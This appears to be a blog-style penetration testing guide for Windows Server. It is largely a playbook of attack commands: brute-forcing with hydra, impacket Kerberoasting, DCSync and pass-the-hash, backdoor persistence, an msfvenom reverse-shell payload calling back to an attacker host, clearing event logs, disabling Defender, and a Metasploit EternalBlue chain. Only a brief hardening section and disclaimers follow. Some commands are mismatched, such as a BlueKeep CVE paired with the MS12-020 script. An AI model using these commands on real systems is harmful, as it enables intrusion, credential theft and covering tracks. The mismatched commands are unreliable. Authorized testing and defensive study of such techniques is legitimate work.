Windows Server Attack Vectors: Advanced Penetration Testing Guide
Comprehensive guide to Windows Server penetration testing, covering reconnaissance, port scanning, exploitation techniques, and privilege escalation.
Windows Server Attack Vectors: Advanced Penetration Testing Guide#
Windows Server environments are critical infrastructure components that require thorough security assessment. This comprehensive guide covers advanced attack vectors and penetration testing techniques specifically targeting Windows Server systems.
Initial Reconnaissance#
Network Discovery#
Before targeting specific services, perform comprehensive network reconnaissance:
# Network sweep to identify live hosts nmap -sn 192.168.1.0/24 # Comprehensive port scan nmap -sS -sV -O -A -p- target_ip # UDP scan for additional services nmap -sU --top-ports 1000 target_ip
Service Enumeration#
SMB/NetBIOS Enumeration#
# SMB version detection nmap -p 445 --script smb-protocols target_ip # Share enumeration smbclient -L //target_ip -N enum4linux -a target_ip # Null session testing rpcclient -U "" -N target_ip
RPC Enumeration#
# RPC endpoint enumeration rpcinfo -p target_ip impacket-rpcmap target_ip # MSRPC enumeration nmap -p 135 --script msrpc-enum target_ip
Port-Specific Attack Vectors#
Port 21 - FTP Service#
# Anonymous FTP access ftp target_ip # Try anonymous:anonymous or ftp:ftp # FTP bounce attack nmap -b ftp_server:21 target_range # FTP brute force hydra -L users.txt -P passwords.txt ftp://target_ip
Port 22 - SSH Service#
# SSH version enumeration nmap -p 22 --script ssh2-enum-algos target_ip # SSH brute force hydra -L users.txt -P passwords.txt ssh://target_ip # SSH key enumeration nmap -p 22 --script ssh-hostkey target_ip
Port 53 - DNS Service#
# DNS zone transfer dig axfr @target_ip domain.com dnsrecon -d domain.com -t axfr # DNS enumeration dnsrecon -d domain.com -D subdomains.txt -t brt fierce -dns domain.com
Port 80/443 - Web Services#
# Web application scanning nmap -p 80,443 --script http-enum target_ip gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt # SSL/TLS testing sslscan target_ip:443 testssl.sh target_ip:443
Port 135 - RPC Endpoint Mapper#
# RPC enumeration rpcinfo -p target_ip impacket-rpcmap target_ip # DCOM exploitation impacket-dcomexec domain/user:password@target_ip
Port 139/445 - SMB Services#
# SMB vulnerability scanning nmap -p 445 --script smb-vuln-* target_ip # EternalBlue exploitation (MS17-010) nmap -p 445 --script smb-vuln-ms17-010 target_ip # SMB relay attacks impacket-ntlmrelayx -tf targets.txt -smb2support
Port 389/636 - LDAP Services#
# LDAP enumeration ldapsearch -x -h target_ip -s base nmap -p 389 --script ldap-rootdse target_ip # LDAP injection testing sqlmap -u "ldap://target_ip" --technique=B
Port 1433 - SQL Server#
# SQL Server enumeration nmap -p 1433 --script ms-sql-info target_ip # SQL Server brute force hydra -L users.txt -P passwords.txt mssql://target_ip # SQL Server exploitation sqlmap -d "mssql://user:pass@target_ip/database"
Port 3389 - RDP Service#
# RDP enumeration nmap -p 3389 --script rdp-enum-encryption target_ip # RDP brute force hydra -L users.txt -P passwords.txt rdp://target_ip # BlueKeep vulnerability (CVE-2019-0708) nmap -p 3389 --script rdp-vuln-ms12-020 target_ip
Port 5985/5986 - WinRM#
# WinRM enumeration nmap -p 5985,5986 --script http-methods target_ip # WinRM brute force crackmapexec winrm target_ip -u users.txt -p passwords.txt # WinRM shell access evil-winrm -i target_ip -u username -p password
Active Directory Attack Vectors#
Kerberos Attacks#
# Kerberoasting impacket-GetUserSPNs domain.com/user:password -dc-ip dc_ip -request # ASREPRoasting impacket-GetNPUsers domain.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt # Golden Ticket attack impacket-ticketer -nthash krbtgt_hash -domain-sid domain_sid -domain domain.com administrator
DCSync Attack#
# DCSync using impacket impacket-secretsdump domain.com/user:password@dc_ip # DCSync using mimikatz mimikatz "lsadump::dcsync /domain:domain.com /user:krbtgt"
Post-Exploitation Techniques#
Privilege Escalation#
# Windows privilege escalation enumeration wmic qfe list systeminfo net user net localgroup administrators # PowerShell privilege escalation PowerUp.ps1 Sherlock.ps1 WinPEAS.exe
Persistence Mechanisms#
# Service persistence sc create backdoor binpath= "C:\\backdoor.exe" start= auto # Registry persistence reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v backdoor /t REG_SZ /d "C:\\backdoor.exe" # Scheduled task persistence schtasks /create /tn "backdoor" /tr "C:\\backdoor.exe" /sc onlogon
Lateral Movement#
# PsExec lateral movement impacket-psexec domain/user:password@target_ip # WMI lateral movement impacket-wmiexec domain/user:password@target_ip # Pass-the-Hash attacks impacket-psexec -hashes lm_hash:nt_hash domain/user@target_ip
Defense Evasion Techniques#
AV Evasion#
# Payload encoding msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe # PowerShell obfuscation Invoke-Obfuscation # Living off the land techniques powershell -enc <base64_encoded_command>
Log Evasion#
# Clear Windows event logs wevtutil cl System wevtutil cl Security wevtutil cl Application # Disable Windows Defender Set-MpPreference -DisableRealtimeMonitoring $true
Advanced Attack Scenarios#
Domain Controller Compromise#
- Initial Access: Exploit vulnerable services or use social engineering
- Credential Harvesting: Extract credentials from memory using Mimikatz
- Privilege Escalation: Exploit local vulnerabilities or misconfigurations
- Domain Admin Access: Use DCSync or Golden Ticket attacks
- Persistence: Install backdoors and maintain access
Multi-Stage Attack Chain#
# Stage 1: Initial reconnaissance nmap -sS -sV -O target_network # Stage 2: Service exploitation msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS target_ip exploit # Stage 3: Post-exploitation run post/windows/gather/hashdump run post/windows/gather/enum_domain # Stage 4: Lateral movement use exploit/windows/smb/psexec set SMBUser username set SMBPass password set RHOSTS next_target exploit
Mitigation and Hardening#
Security Best Practices#
- Patch Management: Keep systems updated with latest security patches
- Network Segmentation: Implement proper network isolation
- Access Controls: Use principle of least privilege
- Monitoring: Deploy comprehensive logging and monitoring
- Endpoint Protection: Use advanced anti-malware solutions
Specific Hardening Measures#
# Disable unnecessary services Stop-Service -Name "Spooler" -Force Set-Service -Name "Spooler" -StartupType Disabled # Configure Windows Firewall New-NetFirewallRule -DisplayName "Block SMB" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block # Enable audit policies auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Conclusion#
Windows Server penetration testing requires a systematic approach combining automated tools with manual techniques. Understanding the attack surface, common vulnerabilities, and exploitation methods is crucial for both offensive security professionals and defenders.
Remember to always:
- Obtain proper authorization before testing
- Document all findings thoroughly
- Provide actionable remediation recommendations
- Follow responsible disclosure practices
This guide provides a foundation for Windows Server security assessment, but continuous learning and practice are essential in this rapidly evolving field.
References#
- OWASP Testing Guide
- NIST Cybersecurity Framework
- MITRE ATT&CK Framework
- Microsoft Security Documentation
This content is for educational and authorized testing purposes only. Always ensure you have proper permission before conducting any security testing.